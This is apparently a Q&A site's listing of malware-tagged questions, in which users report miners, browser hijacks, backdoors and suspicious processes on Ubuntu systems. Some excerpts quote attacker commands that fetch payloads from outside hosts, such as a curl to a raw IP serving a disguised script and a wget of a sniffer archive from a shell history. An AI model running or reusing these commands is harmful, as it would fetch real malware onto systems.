Questions tagged [malware]
Questions relating to malicious software
0
votes
0answers
29 views
meltdown_v1, spectre_v2 capabilities on 18.04 LTS [duplicate]
Hardware more than Operating System related but:
When running cat /proc/cpuinfo from the terminal I am given the lovely output:
bugs: meltdown_v1_spectre_v2_speculative_bypass
The infected CPU is a ...
-2
votes
0answers
35 views
A shady background process taking over an entire CPU core [on hold]
Lately, I noticed that I always have busy CPU and the reason for this is a process that I don't manually start and I don't know its origin. It doesn't have a window or any obvious source, all I see is ...
0
votes
0answers
30 views
System Logs - Security Issue: Firmware Bug
I am new to Linux as a user and like what I've seen so far. I plan on continuing with Ubuntu as my primary OS. Unfortunately I have an ongoing malware infections which wasn't eliminated with the ...
0
votes
1answer
42 views
Strange CPU usage behaviour with systemd, sleep, initctl or gvfsd processes owned by user
I have noticed in my 'indicator-multiload' application that my CPU usage some time after booting is raised permanently at about 50 to 100 percent.
After running 'top' I can see a process owned by the ...
0
votes
1answer
406 views
How to remove naganoadigei.com popup virus
Whenever I click any URL so that will open a new tab with this URL (Please be careful):
hxxp://naganoadigei.com/imp/6932/?scontext_r=xlBO1OGoXtDY%2AqpCVwdK6hjcJXf8xQdE2bF9D7qYvJirlGAXcl42kf_7I6Zo60fY&...
-1
votes
0answers
115 views
Malware on Ubuntu
I have a Lubuntu 18.04 installation, and I got a virus on it! I never though that I could get a virus on Linux, but apparently I can.
I don't what virus specifically is, but it removed all the items (...
64
votes
1answer
11k views
Notification saying “A new Virus is Stealing Data!” on Ubuntu 18
Recently whenever I open Firefox I get a message in notification center. It's not always the same and it keeps changing. here is an example:
It's not always this. It gives other messages too and ...
0
votes
1answer
68 views
Unusuall activity
I'm a new user as you can see, so sorry if the question is boring or imprecise.
I upgraded my Ubuntu 16.04 to 18.04 and everything was fine. But after a power outage, something went wrong. It did not ...
2
votes
1answer
43 views
How can I find the origin of a process and stop it permanently?
I have an Ubuntu system running an apache server. I have found a process cache.sh which I think might be a crypto-mining process and which is running all the time on my server consuming up to 98% CPU. ...
0
votes
1answer
57 views
Removing W32/Parite.B virus
I scanned one of my directory with clamscan and it showed that every .exe file is infected:
.../file.exe: Heuristics.W32.Parite.B FOUND
.../file2.exe: Heuristics.W32.Parite.B FOUND
.../file3.exe: ...
0
votes
0answers
53 views
Virus detection in browsers
I have downloaded and installed ubuntu on my home pc.
I have firefox (preinstalled) and installed chrome.
I am now trying to download a miner to my pc which I know will flag as a virus.
Everytime I ...
1
vote
2answers
510 views
Some supisious software making request to nmcheck.gnome.org
Since last few days my system popup a Ubuntu default web-browser and make request to nmcheck.gnome.org website and immediately shut off
after this issue I can not run system update
also, I am php ...
1
vote
1answer
67 views
Test firefox for virus/hijacker
I am a bit concerned about my firefox being hijacked or something. I went to a website and it opened a pop-up asking firefox to be updated.
I knew immediately it was a malicious code because it ...
0
votes
0answers
70 views
zukxd6fkxqn redirect in Firefox
I am running Ubuntu 16.04. While using Firefox occasionally the browser will open another tab then automatically close it. The tab will have an address along the lines of zukxd6fkxqn .com. I know that ...
0
votes
0answers
16 views
Do scripts in cron update when programs are updated?
I have recently found a lot of brute force SSH attempts on my server. As a result of that, I have changed the port of my server and put a few firewalls in place to make it harder for my server to be ...
1
vote
1answer
245 views
Scanning External Drives for Viruses - Ubuntu [duplicate]
So I recently installed Ubuntu onto one of my Computers and would like to uses it to scan external drives USB and what not for viruses that can affect windows PC. Is there a possible antivirus or ...
1
vote
1answer
124 views
Slurm new user on Ubuntu 18.04
I am a very new user of Ubuntu (escaped from Windows recently) and yesterday when I was turning on my PC I found new user listed in login options with a nickname "Slurm" (I am the only user with a ...
1
vote
0answers
37 views
Chrome re-directs to spam site
This might be a little unrelated to this stack but I could not find a more suitable place. I am running Ubuntu 16.04 and have chrome installed on it. The problem is when I try to access a particular ...
0
votes
0answers
65 views
infection or problem
I'm a 25 years experience technician on windows system, 1 year on Ubuntu. this week I face an issue that my experience tells me its an infection.
On my desktop system I was trying to create a ...
2
votes
3answers
298 views
Can I get a virus/malware from only visiting websites?
When I use Firefox and browse the web, can I get viruses or malware without downloading and installing anything? For example, from bad scripts?
0
votes
1answer
99 views
How do I clean Ubuntu installation of Viruses / Miners?
So it appears our VPS is being hacked, I noticed websites running slow so I checked for processes using htop. There are various cpuminers present, getting processor to nearly 100% usage. I think hack ...
1
vote
1answer
98 views
Can my system be infected with the Trojan known as commondatastorage?
On Facebook, a friend sent a post with many names including mine. There was a video and I clicked. It opened a page with nothing. The URL started with commondatastorage.google.apis and more. Nothing ...
1
vote
1answer
43 views
Malware by wine [duplicate]
If a portable windows program has malware and I open it by wine, just close it to do away with the malware?
Sorry for my grammar. I'm not fluent in English
Thank you
2
votes
1answer
115 views
interpreting message in “virustotal”
I wonder if anyone can help me with the results of my virustotal-scan (online virus lab).
I submitted a pdf-file of an Russian-German textbook ("1_Ulrike_Patow_Gabriela_Stelzig_Russisch_bitte.pdf") ...
1
vote
1answer
8k views
Does Ubuntu 18.04LTS require antivirus/malware? [duplicate]
(not duplicated because i'm specifying version of Ubuntu, other questions are about ubuntu without version)
Does ubuntu 18.04LTS require antivirus/malware?
wich is the best option? if yes.
i have ...
1
vote
1answer
41 views
What precaution should users take when installing proprietary snaps to avoid malware? [duplicate]
Proprietary snaps contributed by a particular entity were removed from the snap store as described in How to ask to ban the application for security reasons?.
What cautions should users take before ...
3
votes
0answers
63 views
Where to complain about applicaton in Software Center?
Recently I tried applicaton Qstamina-snap.
And when I opened it there another window appear with advertising and I can't use application itself, when I close ad then app close too. And I'm not sure if ...
2
votes
0answers
52 views
How locked user keeps running?
I got a compromised server, most likely a crypto miner or something, htop reports this:
30393 geauxsmar 20 0 5328 3984 2540 R 100. 0.1 21h26:45 [sync_supers]
I locked it with:
sudo usermod --...
0
votes
0answers
87 views
sync_supers are created again and again for www-data [duplicate]
I have updated drupal 7 from 7.2 to 7.59., but the problem remains the same.
4353 www-data 20 0 24392 3888 1012 R 100.0 0.0 13:15.26 [sync_supers]
5268 www-data 20 0 24392 3888 1012 R 100.0 0.0 9:42....
0
votes
1answer
101 views
windows virus on usb will run on ubuntu 16.04? [duplicate]
As the title suggest, is it really possible that a virus/malware/spyware or anything bad that will affect my pc, will be transferable and "AUTO-RUN" from a USB with files copied from a Windows OS(...
3
votes
2answers
1k views
suppoie malware removal (script hidden in .jpg)
Found this on an Ubuntu 16.04 server.
Malware I guess, but is there a guide to make sure I can clean it all out?
curl -s http://158.69.133.18:8220/logo7.jpg
#!/bin/sh
ps aux | grep -vw suppoie | awk ...
-3
votes
1answer
327 views
I am getting this http://onclickrev.com redirects from chrome and mozilla
I am getting this http://onclickrev.com redirects from Chrome and Mozilla Firefox when ever I view sites that are not secured connects - like http:/******.com and the CPU usage goes above 60%. Is ...
0
votes
0answers
261 views
How to remove Ad Malware/Virus from Google Chrome which causes ads to appear in list of results?
Screenshot of Ads appearing as chrome search results:
I don't know what got into my system. I am really fed up with these.
I have looked up all my extensions and did not find anything malicious.
I ...
0
votes
1answer
59 views
Trying to remove brontok virus, don't understand output of 'ps aux | grep .exe'
I have what I think is the brontok virus. Trying to remove it following this post How do I remove the brontok virus that has infected my Ubuntu via Wine?
I entered the command ps aux | grep .exe ...
1
vote
0answers
58 views
How to scan for suspicious php files on filesystem
As in the title, I would like to scan some directories on my local filesystem for suspicious (eg. obfuscated, system-calls, create-method calls, strange file names,... ) PHP-Files.
Is there a known ...
0
votes
0answers
94 views
Is org.debian.apt.update-cache legitimate or spyware? [duplicate]
My filename: Spyware or something else bad - ask Linux Ubuntu 2018-Mar-05
I signed into my user account and an Authenticate window popped up. (I only use my Admin account to update Ubuntu every day I ...
24
votes
2answers
6k views
Found SSH Backdoor on VServer. What to do?
Yesterday I checked my history of commands on my VServer. I found several suspicious lines.
195 wget aridan.hol.es/sniffer.tgz
196 tar xvf sniffer.tgz
197 ls -a
198 rm -rf sniffer.tgz
...
0
votes
0answers
424 views
How can I remove JS:Cryptonight[Tri]?
I accidentally got infected with JS:Cryptonight[Tri], which is a Cryptocurrency Miner that makes use of my CPU power to mine Monero (XMR) coins.
I was doing some daily research for my job and I got ...
1
vote
3answers
511 views
google search results page hijacked by search.interactivesplash.com
I noticed after unsubscribing from a junk mail, not sure this was a good idea, when I did a Google search using Chromium Web browser, the results page showed up, but very quickly before I could click ...
0
votes
1answer
61 views
Help with hijacked dns
When I try to navigate to a domain that I know doesn't exist, I automatically get routed to advexplore dot com which shows me a search bar and genealogy links. This is obviously not a default ...
-3
votes
1answer
86 views
Possible ransomware
I have an SSD with Ubuntu on a partition and /home on another partition. I also have another HDD installed on the system. The SSD is connected through PCIe so the hard drive access red led doesn’t ...
0
votes
0answers
43 views
Mozilla and Chromium Hijacked, ClamAV blocked, system slow and unstable
So a day ago I switched from Windows to Ubuntu because I'm being targeted by a hacker and cleaning my computer was becoming a full-time job. I was in a social media site when firefox started getting ...
0
votes
2answers
173 views
Ubuntu 14.04 is CrossRat malware a threat?
I saw a link about CrossRat Malware on Quora, is this Malware a problem on Ubuntu 14.04?
I have not been able to find the location listed for linux on my Ubuntu. Also I generally have Java shut off ...
1
vote
0answers
142 views
storage.googleapis.com malware on chromium
I did a serious mistake of opening the following malware link on my chromium browser:
hover here below to show probably dangerous link
I wish to know what are the implications, on the OS as well ...
1
vote
0answers
89 views
Deep Freeze simulation
I am running Ubuntu 16.04.1 on my desktop. I wonder if I could create a similar environment as Deep Freeze on my computer by creating a new user with Standard permissions. Let me explain: With the ...
5
votes
1answer
932 views
Why has the “Ubuntu app” full access to my Google account?
The same (or similar) topic was already covered on Ask Ubuntu some time ago:
Ubuntu 17.04 Chromium Browser quietly provides full access to Google account
I just performed a new clean installation ...
0
votes
0answers
55 views
After upgrading to 17.10 it takes 1 minute to start sometimes more than 1 minute.
1-After upgrading the system totally became slow. It takes more time to load files even to open files it takes 10 to 20 seconds. How can I solve this issue?
2- When I start it shows your PC at risk.
2
votes
0answers
124 views
Firefox process has a long list of arguments looks suspicous [duplicate]
Firefox has a config option (browser.tabs.remove.autostart.2) enabled by default. My Firefox was hanging, so I checked the process and it looked suspicious, so I verified the same with a new Firefox ...
2
votes
1answer
350 views
Getting rid of a virus
So I know Linux isn't supposed to get viruses, but it really looks like I have one. A tab popped in firefox saying an update was required and it wouldn't let me close it (it did not look like a ...
0
votes
1answer
109 views
I have found virus on Ubuntu, what to do? [closed]
My LAMP server got a virus. (I think.) The root partition started to fill up. But there is no clue as to what it filled up with (no logs). After restart, the used space of the root went back to 4% (as ...
